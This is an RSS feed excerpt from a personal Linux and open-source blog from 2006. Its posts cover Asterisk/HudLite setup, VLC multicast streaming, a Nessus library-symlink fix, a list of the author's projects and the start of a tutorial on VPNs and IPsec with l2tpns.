&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;dpkg -i hudlite-server_1.3.1-2_i386.deb  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;nano /etc/init.d/hudlite-server  &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;comment out all the conflicting lines.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;nano /usr/local/fonality/hud/conf/context.xml  &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;check the manager configuration for the password cause it’ll have to be adjusted&lt;br&gt;
to be the same one in /etc/asterisk/manager.conf which you’ll edit next&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;nano /etc/asterisk/manager.conf  &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;add the following:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[hud]  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;secret=admin  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;permit=localhost  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;read = system,call,log,verbose,command,agent,user  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;write = system,call,log,verbose,command,agent,user  &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Create the following symlinks:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;ln -s /usr/share/perl5/POE /usr/lib/perl5/5.8.5/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ln -s /usr/share/perl/5.8.8/PerlIO.pm /usr/lib/perl5/5.8.5/  &lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ln -s /usr/share/perl5/POE /usr/lib/perl5/5.8.5/&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Attempt to start &lt;code&gt;hudlite-server&lt;/code&gt; now.&lt;/p&gt;
&lt;p&gt;Resources: &lt;a href=&quot;http://www.voipphreak.ca/archives/296-Gentoo,-Asterisk-and-HudLite-Installation-and-Setup-Howto.html&quot;&gt;http://www.voipphreak.ca/archives/296-Gentoo,-Asterisk-and-HudLite-Installation-and-Setup-Howto.html&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title>Allegro Linux</title><link>https://lirantal.com/blog/2006-09-08/</link><guid>https://lirantal.com/blog/2006-09-08/</guid><description>A new Linux distribution</description><pubDate>Tue, 12 Sep 2006 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This is the name I’ve chosen for an extremely intensive project I’m working for quite some time. Allegro Linux aims to be the most suitable solution for Small Business Server deployments.&lt;/p&gt;
&lt;p&gt;I’m hoping &lt;code&gt;abrotman&lt;/code&gt; from #debian on Freenode (irc net) is going to join me on this big project. Stay tuned.&lt;/p&gt;
&lt;p&gt;Allegro, by the way, is a musical notation for playing in fast tempo.&lt;/p&gt;</content:encoded></item><item><title>CoffeShops Billed VoIP Services</title><link>https://lirantal.com/blog/2006-09-12/</link><guid>https://lirantal.com/blog/2006-09-12/</guid><description>Get your hands on some VoIP with Asterisk</description><pubDate>Tue, 12 Sep 2006 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Great guide by silverboss on howtoforge.com for building up a billed voip solution based on asterisk and other open source solutions in order to provide telephony solutions&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://howtoforge.com/voip_xorcom_rapid_asterisk_starshop_oss&quot;&gt;http://howtoforge.com/voip_xorcom_rapid_asterisk_starshop_oss&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title>A Jewish Ninja?</title><link>https://lirantal.com/blog/2006-09-03/</link><guid>https://lirantal.com/blog/2006-09-03/</guid><description>The intersection of Judaism and martial arts?</description><pubDate>Sun, 03 Sep 2006 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Believe it or not, but there’s a big local martial arts community which is all Judaism and its growing pretty big, and so I present to you the Grand Master Joshua Sofer in all his mighty:&lt;/p&gt;
&lt;p&gt;Their website is: &lt;a href=&quot;http://www.abirwarriorarts.com/&quot;&gt;http://www.abirwarriorarts.com/&lt;/a&gt;
Enjoy.&lt;/p&gt;</content:encoded></item><item><title>Tinkerbel Linux- Paris Hilton’s own distribution</title><link>https://lirantal.com/blog/2006-09-03_tinkerbell_linux/</link><guid>https://lirantal.com/blog/2006-09-03_tinkerbell_linux/</guid><description>A hit Linux distribution from the very own Paris Hilton</description><pubDate>Sun, 03 Sep 2006 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Debian, Slackware, RedHat and Suse- What do they all got in common?&lt;br&gt;
They’re all non-celebrity distributions.&lt;/p&gt;
&lt;p&gt;Paris Hilton is putting out her own Linux distribution, dubbed &lt;code&gt;Tinkerbel&lt;/code&gt;.
You may have not known but Paris is fluent with computer programming, mainly in QT/C++ and Perl, she&lt;br&gt;
has submitted several patches on the kernel mailing list and is the author of the IPV6 Networking HOW-TO.&lt;/p&gt;
&lt;p&gt;I give you- The Paris Linux&lt;br&gt;
&lt;img src=&quot;https://web.archive.org/web/20140703174153im_/http://www.bbspot.com/Images/News_Features/2006/08/paris_hilton_tux.jpg&quot; alt=&quot;http://www.bbspot.com/Images/News_Features/2006/08/paris_hilton_tux.jpg&quot; title=&quot;http://www.bbspot.com/Images/News_Features/2006/08/paris_hilton_tux.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;Still can’t believe it?&lt;br&gt;
Source:  &lt;a href=&quot;http://www.bbspot.com/News/2006/08/paris-hilton-tinkerbell-linux.html&quot; title=&quot;paris hilton linux&quot;&gt;http://www.bbspot.com/News/2006/08/paris-hilton-tinkerbell-linux.html&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title>Streaming multicast videos with VLC and mini-sap server</title><link>https://lirantal.com/blog/2006-08-21/</link><guid>https://lirantal.com/blog/2006-08-21/</guid><description>All about VideoLAN (VLC) and mini-sap server</description><pubDate>Mon, 21 Aug 2006 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;VLC, formerly known as VideoLAN is one of the most main-stream applications used today to achieve media playing, and especially video stremaing. It supports unicast (udp, http, mmsh) and broadcast/multicast streaming (udp and rtp).&lt;/p&gt;
&lt;p&gt;Multicast is fairly the most profitable protocol to use when talking in terms of bandwidth so lets see how it works..&lt;br&gt;
Firstly, install vlc (accomplished by  &lt;code&gt;apt-get install vlc&lt;/code&gt;) and then running it:  &lt;code&gt;vlc -vvv movie.avi –sout ‘#standard{access=udp,mux=ts,dst=239.255.12.42}’&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;At this point VLC will run in console mode, debugged and start the stream. The VLC client which is found on a different computer but on the same multicast subnet on the LAN can be launched and directed to this multicast IP, although a better way is to run a sap server that will announce all the streams that the vlc server plays to all vlc clients on the LAN.&lt;br&gt;
To do that, download mini-sap server from  &lt;a href=&quot;http://www.videolan.org/streaming/download-sap-server.html&quot; title=&quot;minisap server&quot;&gt;here&lt;/a&gt;  and compile it, which is pretty straight-forward: &lt;code&gt;./configure &amp;#x26;&amp;#x26; make &amp;#x26;&amp;#x26; make install&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Once that is done, a few changes might be required to make on the config file sap.cfg to adjust the multicast IP and other issues you may want to tweak, after which  &lt;code&gt;./sapserver -c sap.cfg -s&lt;/code&gt; will run the sap announcing server and clients may open their playlist windows and be aware of video streams on the LAN.&lt;/p&gt;
&lt;p&gt;If several interfaces are present it might be needed to add a static route so that multicast won’t go through the default gateway which is invalid.  &lt;code&gt;route add -net 239.0.0.0 netmask 255.0.0.0 dev eth0&lt;/code&gt;.&lt;/p&gt;</content:encoded></item><item><title>Poetry, episode 1</title><link>https://lirantal.com/blog/2006-07-21/</link><guid>https://lirantal.com/blog/2006-07-21/</guid><description>Liran Tal writes English poetry</description><pubDate>Fri, 21 Jul 2006 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I’ve uploaded the first chapter of my poetry works, Episode 1.
Check it out.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Staring at beauty,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Staring at you-&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Innocent as the ocean&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;That remains forever blue.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;So young and clean,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;out of all that is sin.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;As if hidden beneath a shell,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Your secrets, please tell.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;- Innocence.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;</content:encoded></item><item><title>nessus3 install issue on ubuntu</title><link>https://lirantal.com/blog/2006-07-14/</link><guid>https://lirantal.com/blog/2006-07-14/</guid><description>how to fix Nessus3 and its missing dependency</description><pubDate>Fri, 14 Jul 2006 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The usual – you download a package, installs it, it complains about a missing dependency to run. Nessus3 .deb package requires &lt;code&gt;libssl.0.9.7&lt;/code&gt; but well, ubuntu is so bleeding-edge that 0.9.8 is already there, and I know exactly what you’re thinking – &lt;code&gt;apt-get remove libssl.0.9.8 &amp;#x26;&amp;#x26; apt-get install libssl.0.9.7&lt;/code&gt; – well I dare you to try that and mess up about 300 packages on the system.&lt;/p&gt;
&lt;p&gt;So whats a better way to solve this issue? Tricking nessus:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;ln -s /usr/lib/libssl.so.0.9.8 /usr/lib/libssl.so.0.9.7&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;ln -s /usr/lib/libcrypto.so.0.9.8 /usr/lib/libcrypto.so.0.9.7&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;</content:encoded></item><item><title>Ubuntu Laptop Guide</title><link>https://lirantal.com/blog/2006_07-11/</link><guid>https://lirantal.com/blog/2006_07-11/</guid><description>how to fix Nessus3 and its missing dependency</description><pubDate>Tue, 11 Jul 2006 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;As part of the &lt;code&gt;Ubuntu LaptopTestingTeam&lt;/code&gt; I’ve posted a guide on my Acer Aspire 5562WXMi model with Linux installed on it and full support for 3D, XGL+Compiz, etc…&lt;/p&gt;
&lt;p&gt;Check it out: &lt;a href=&quot;https://wiki.ubuntu.com/LaptopTestingTeam/AcerAspire5562WXMi&quot;&gt;https://wiki.ubuntu.com/LaptopTestingTeam/AcerAspire5562WXMi&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title>MythEmail Plugin</title><link>https://lirantal.com/blog/2006-07-10/</link><guid>https://lirantal.com/blog/2006-07-10/</guid><description>MythEmail plugin for the glorious MythTV all-around streamer and home media entertainment system</description><pubDate>Mon, 10 Jul 2006 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I got around tonight to fine-tune the MythEmail plugin I’m working on right after the great game between Italy and France for the soccer world cup title. (Zidan, what the hell were you thinking?)&lt;/p&gt;
&lt;p&gt;Currently it’s a small and working application and more of a learning project for me to get back on the horse for QT/C++ development after a long vacation from writing code.&lt;/p&gt;
&lt;p&gt;I’ll post the plugin as soon as it’s ready for a public release, or more like a beta :)&lt;/p&gt;</content:encoded></item><item><title>Apple’s Trailers hand-out</title><link>https://lirantal.com/blog/2006-07-08/</link><guid>https://lirantal.com/blog/2006-07-08/</guid><description>A useful PHP and Perl script to grab Apple trailers</description><pubDate>Sat, 08 Jul 2006 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A great link I’ve found provides access to an updated list of Apple’s trailers/poster images. Useful for a php/perl script to grab it.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://wdirect.apple.com/trailers/home/externalA.js&quot;&gt;http://wdirect.apple.com/trailers/home/externalA.js&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Or even better, a php: &lt;a href=&quot;http://www.zerohex.org/AppleTrailers.txt&quot;&gt;http://www.zerohex.org/AppleTrailers.txt&lt;/a&gt;&lt;br&gt;
Well, now that you have this file, how do you get the best out of it? Quite easy, the code is already written, on javascript though, so you’d need a console javascript engine for that. luckily Rhino which does the job is available simply by &lt;code&gt;apt-get install rhino&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Next up, you’d have to edit the file and change all the &lt;code&gt;document.write()&lt;/code&gt; functions with &lt;code&gt;print()&lt;/code&gt;, then add to the end of the file a function from all the provided ones like &lt;code&gt;loadRandomE();&lt;/code&gt; just run it with ‘rhino -f externalA.js‘&lt;/p&gt;</content:encoded></item><item><title>Open Source involvement</title><link>https://lirantal.com/blog/2006-07-07/</link><guid>https://lirantal.com/blog/2006-07-07/</guid><description>A compilation update of Liran Tal&apos;s open source activities</description><pubDate>Fri, 07 Jul 2006 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I’ll be updating now and then my Open Source involvement in various projects, as well as code releases and documents.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://web.archive.org/web/20140703091800im_/http://www.enginx.com/sites/default/files/2006/07/Borg_Linux_Peguin_by_sakuracamui.thumbnail.jpg&quot; alt=&quot;Borg_Linux_Peguin_by_sakuracamui.jpg&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;translation&quot;&gt;Translation&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;PHPizabi – Dating System&lt;br&gt;
[&lt;a href=&quot;http://www.phpizabi.net/%5D(&quot;&gt;http://www.phpizabi.net/](&lt;/a&gt;&lt;a href=&quot;http://www.phpizabi.net/&quot;&gt;http://www.phpizabi.net/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;OST Box&lt;br&gt;
[&lt;a href=&quot;http://perso.nnx.com/pludov/homepage/index-ostbox.html&quot;&gt;http://perso.nnx.com/pludov/homepage/index-ostbox.html&lt;/a&gt;&lt;br&gt;
](&lt;a href=&quot;http://perso.nnx.com/pludov/homepage/index-ostbox.htmlOST-Box&quot;&gt;http://perso.nnx.com/pludov/homepage/index-ostbox.htmlOST-Box&lt;/a&gt; Hebrew translation is available  &lt;a href=&quot;http://blog.enginx.com/ostbox-i18n-he.xml%22projects/ostbox-i18n-he.xml%22&quot;&gt;here&lt;/a&gt;[&lt;br&gt;
](&lt;a href=&quot;http://perso.nnx.com/pludov/homepage/index-ostbox.html&quot;&gt;http://perso.nnx.com/pludov/homepage/index-ostbox.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;e107 – Content Management System&lt;br&gt;
The translation team is reachable at  [&lt;a href=&quot;http://www.e107.org%5D(&quot;&gt;http://www.e107.org](&lt;/a&gt;&lt;a href=&quot;http://www.e107.org/&quot;&gt;http://www.e107.org/&lt;/a&gt;  or  [&lt;a href=&quot;mailto:cvs_translation@e107coders.org&quot;&gt;cvs_translation@e107coders.org&lt;/a&gt;](&lt;a href=&quot;http://www.e107.org/&quot;&gt;http://www.e107.org/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;sourceforge-projects&quot;&gt;SourceForge Projects&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://sourceforge.net/projects/tcss%22TCSS%22&quot;&gt;TCSS&lt;/a&gt;  – Traffic Control Super Script&lt;br&gt;
I’ve combined forces with Kegan, the author of TCSS to make it more user-friendly and so GUI TCSS was born I’ve writen GUI TCSS purely with QT/C++.  [&lt;a href=&quot;https://sourceforge.net/projects/tcss%5D(&quot;&gt;https://sourceforge.net/projects/tcss](&lt;/a&gt;&lt;a href=&quot;https://sourceforge.net/projects/tcss&quot;&gt;https://sourceforge.net/projects/tcss&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://sourceforge.net/projects/l2tpns%22L2TPns%22&quot;&gt;L2TPNS&lt;/a&gt;  – Undoubtly the leader open source software for ppp termination. It’s stable and robust. I’m on the documentation teams, contributing some useful tutorials and guides for deploying IPSec VPNs.  [&lt;a href=&quot;https://sourceforge.net/projects/l2tpns%5D(&quot;&gt;https://sourceforge.net/projects/l2tpns](&lt;/a&gt;&lt;a href=&quot;https://sourceforge.net/projects/l2tpns&quot;&gt;https://sourceforge.net/projects/l2tpns&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://sourceforge.net/projects/billboard%22Billboard%22&quot;&gt;Billboard&lt;/a&gt;  – Billboard is a dynamic accounting and billing software for Asterisk VOIP software with a web-gui frontend. It’s light-weight and scalable. Requires no database.  [&lt;a href=&quot;https://sourceforge.net/projects/billboard%5D(&quot;&gt;https://sourceforge.net/projects/billboard](&lt;/a&gt;&lt;a href=&quot;https://sourceforge.net/projects/billboard&quot;&gt;https://sourceforge.net/projects/billboard&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://sourceforge.net/projects/leg/%22http://sourceforge.net/projects/leg/%22&quot;&gt;LEG&lt;/a&gt;  – LEG is the Linux Encoder Gui. It exist in order to make life easier for users to do file conversions, whether its converting plain avi to mpeg or performing dvd rips and converting to different media types like IPODs, SmartPhones, IPAQs, etc.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://sourceforge.net/projects/daloradius%22http://sourceforge.net/projects/daloradius%22&quot;&gt;daloRADIUS&lt;/a&gt;  – daloRADIUS is an advanced RADIUS web management application aimed at managing hotspots and general-purpose ISP deployments. It features user management, graphical reporting, accounting, a billing engine and integrates with GoogleMaps for geo-locating.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;projects&quot;&gt;Projects&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.enginx.com/projects/mythemail-0.1.tar%22mythtvemail%22&quot;&gt;MythTV Email Plugin&lt;/a&gt;  – QT/C++ plugin for the MythTV project which adds Email notifications.&lt;br&gt;
MythTV is a great piece of software for enjoying a PVR/Entertainment box and so much more.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.enginx.com/projects/netil1.2.tar.gz%22http://blog.enginx.com/projects/netil1.2.tar.gz%22&quot;&gt;NetIL Connector&lt;/a&gt;  – NetIL is a GUI frontend for the pptp-linux and the chat-scripts for ppp to build a connection or kill it for Israeli cable (hot) users. It’s Based on QT/C++, feedback is always appreciated.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://sourceforge.net/projects/l2tpknock/%22http://sourceforge.net/projects/l2tpknock/%22&quot;&gt;l2tpknock&lt;/a&gt;  –  l2tpknock is an add-on plugin for l2tpns servers or clusters and is intended to perform the rule of the port knocking idea, but with l2tp vpns, specifically, the l2tpns project&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.enginx.com/projects/hudmanager0.1.tar%22http://blog.enginx.com/projects/hudmanager0.1.tar%22&quot;&gt;hudmanager&lt;/a&gt;  –  this is a freepbx module to manager hud’s configuration file.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;documents&quot;&gt;Documents&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;[L2TPNS – Practical VPNs Deployment](&lt;a href=&quot;http://blog.enginx.com/documents/practicalvpns.pdf&quot;&gt;http://blog.enginx.com/documents/practicalvpns.pdf&lt;/a&gt;  – Part1: Introduction to IPSec/VPNs and an entire Linux setup.&lt;/li&gt;
&lt;li&gt;L2TPNS – The Breakdown- Part2: This time we focus on l2tpns clustering and load balancing with bgp aware routers.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.enginx.com/documents/analyzing_web_server_with_the_webalzier.pdf%22Webalizer%22&quot;&gt;Webalizer- Analyzing Website Statistics&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;[AcerAspire 5562WXMi Laptop Linux Review](&lt;a href=&quot;https://wiki.ubuntu.com/LaptopTestingTeam/AcerAspire5562WXMi%22AcerAspire5562WXMi&quot;&gt;https://wiki.ubuntu.com/LaptopTestingTeam/AcerAspire5562WXMi”AcerAspire5562WXMi&lt;/a&gt; Ubuntu Linux overview”)  – As part of Ubuntus’ LaptopTestingTeam I took on myself to update the&lt;br&gt;
laptop section of the wiki and present my overview and installation status of my laptop with Ubuntu Dapper.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;code-snippets&quot;&gt;Code Snippets&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.enginx.com/projects/extension_check.agi%22extension_check.agi%22&quot;&gt;extension_check.agi&lt;/a&gt;  – a small code snippet writen in perl agi to speak the current extensions and Zap&lt;br&gt;
channels in use on an asterisk voip system.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.enginx.com/projects/lirc_2.6.16-patch.diff%22lirc_patch%22&quot;&gt;lirc_2.6.16-patch.diff&lt;/a&gt;  – small patch for compiling latest lirc on 2.6.16 kernel series&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.enginx.com/projects/debian_nistnet_install.txt%22lirc_patch%22&quot;&gt;debian_nistnet_install.txt&lt;/a&gt;  – instructions for getting nisnet (wan emulator) installed on debian sarge&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.enginx.com/projects/knistnet.c-patch.diff%22knistnet-patch%22&quot;&gt;knistnet.c-patch.diff&lt;/a&gt;  – small patch thanks to maguire to get latest nistnet to compile right.&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>Practical VPns with l2tpns</title><link>https://lirantal.com/blog/2006-04-24_practical_vpns_implemntation_with_l2tpns/</link><guid>https://lirantal.com/blog/2006-04-24_practical_vpns_implemntation_with_l2tpns/</guid><description>This document was compiled from the administrator&apos;s point of view, to explain what are VPNs, how they are deployed today and to detail the necessary steps and tools to achieve and create a fully working VPN solution, integrated with RADIUS systems for AAA.</description><pubDate>Mon, 24 Apr 2006 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This document was compiled from the administrator’s point of view, to explain what are VPNs, how they are deployed today and to detail the necessary steps and tools to achieve and create a fully working VPN solution, integrated with RADIUS systems for AAA.&lt;/p&gt;
&lt;p&gt;I will not dwell in this document on how to compile source packages or kernel patching, and with the same tone I’m assuming the reader is an experienced Linux user.&lt;/p&gt;
&lt;p&gt;VPNs have their share amount of gossip for being a very complex thing, and in some cases this may be true as they tend to be more security intensive which require adding more and more layers to the scheme. With this said, we’ll take a look at how fairly straight-forward it is to setup VPNs and maintain them with various Open-Source tools.&lt;/p&gt;
&lt;h2 id=&quot;table-of-contents&quot;&gt;Table of Contents&lt;/h2&gt;
&lt;h2 id=&quot;overview-of-vpns-and-ipsec&quot;&gt;Overview of VPNs and IPsec&lt;/h2&gt;
&lt;h3 id=&quot;virtual-private-networks&quot;&gt;Virtual Private Networks&lt;/h3&gt;
&lt;p&gt;The purpose of a VPN is to create a secure channel on-top of an un-secure medium, where a computer or a device are put in each end-point in order to establish communication, each of these end-points are often referred to as Point of Presence, or POP. This kind of a communication allows the capability of creating a Virtual Private Network, which is accessible over a medium such as the Internet and thus, extend the physical boundaries of an existing local network.&lt;/p&gt;
&lt;p&gt;VPNs have three forms:&lt;/p&gt;
&lt;p&gt;Site-To-Site VPNs&lt;/p&gt;
&lt;p&gt;these setups exist in order to extend the local network to create a much bigger LAN over the Internet.&lt;/p&gt;
&lt;p&gt;Network-To-Host or Remote access VPNs&lt;/p&gt;
&lt;p&gt;where a central VPN server is able to achieve multiple connections, often referred to as RoadWarrior VPNs. (This setup is very common among ISPs)&lt;/p&gt;
&lt;p&gt;Network-To-Network&lt;/p&gt;
&lt;p&gt;extranet VPNs allow secure connections within branches and business partners, they are an extension of a Site-To-Site VPNs.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://l2tpns.sourceforge.net/docs/vpn/practical-vpns.html#site-to-site&quot; title=&quot;Figure 1. Site to Site VPN&quot;&gt;Figure 1, “Site to Site VPN”&lt;/a&gt;  shows a Site-To-Site VPN diagram.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Figure 1. Site to Site VPN&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://l2tpns.sourceforge.net/docs/vpn/site-to-site-vpn.png&quot; alt=&quot;Site to Site VPN&quot;&gt;&lt;/p&gt;
&lt;p&gt;IP/VPNs are connections which are based upon IP tunnels. A tunnel is a way to encapsulate an IP packet inside another IP packet or some other type of packet. Why do we need tunneling? A Virtual Private Network is identified by IANA’s private IP assignments and so such packet can not go beyond the uplink Internet interface.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://l2tpns.sourceforge.net/docs/vpn/practical-vpns.html#tunneling-process&quot; title=&quot;Figure 2. Tunneling Process&quot;&gt;Figure 2, “Tunneling Process”&lt;/a&gt;  shows the tunneling process.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Figure 2. Tunneling Process&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://l2tpns.sourceforge.net/docs/vpn/tunneling-process.png&quot; alt=&quot;Tunneling Process&quot;&gt;&lt;/p&gt;
&lt;p&gt;Several tunneling protocols are available for manifesting VPNs.&lt;/p&gt;
&lt;p&gt;L2F&lt;/p&gt;
&lt;p&gt;Layer 2 Forwarding, an older implementation which assume position at the link layer of the OSI. It has no encryption capabilities and hence, deprecated.&lt;/p&gt;
&lt;p&gt;L2TP&lt;/p&gt;
&lt;p&gt;Layer 2 Tunneling Protocol, still no encryption capabilities.&lt;/p&gt;
&lt;p&gt;PPTP&lt;/p&gt;
&lt;p&gt;Point-to-Point Tunneling Protocol, and yet again, no encryption.&lt;/p&gt;
&lt;p&gt;As seen, the requirement of encryption enhancement is urgent in order to assure authentication, data integrity and privacy. IPsec solves this by providing a suite of security measures implemented at layer 3.&lt;/p&gt;
&lt;h3 id=&quot;ip-security-suite-ipsec&quot;&gt;IP Security Suite (IPsec)&lt;/h3&gt;
&lt;p&gt;VPN Security is now appearing, this complex things. How so? VPN tunnels by themselves are easily maintained by single-standalone tools like &lt;code&gt;pppd&lt;/code&gt;, &lt;code&gt;l2tpns&lt;/code&gt;, &lt;code&gt;stunnel&lt;/code&gt; and others. Involving security with VPNs though requires more:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;authentication, data integrity and privacy&lt;/li&gt;
&lt;li&gt;keying management&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;note&quot;&gt;Note&lt;/h3&gt;
&lt;p&gt;Keys are secrets being shared by two end-points to provide a secure mean of communication against a third-party connection from sniffing the actual data.&lt;/p&gt;
&lt;p&gt;Different ways to handle key management include RADIUS (Remote Authentication Dial In User Service) systems which provide AAA (Authentication, Authorization and Accounting). Another solution is &lt;code&gt;ISAKMP/Oackly&lt;/code&gt; - Internet Security Association and Key Management Protocol. This solution requires you to posses one of the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;something you have&lt;/li&gt;
&lt;li&gt;something you know&lt;/li&gt;
&lt;li&gt;something you are&lt;/li&gt;
&lt;/ul&gt;
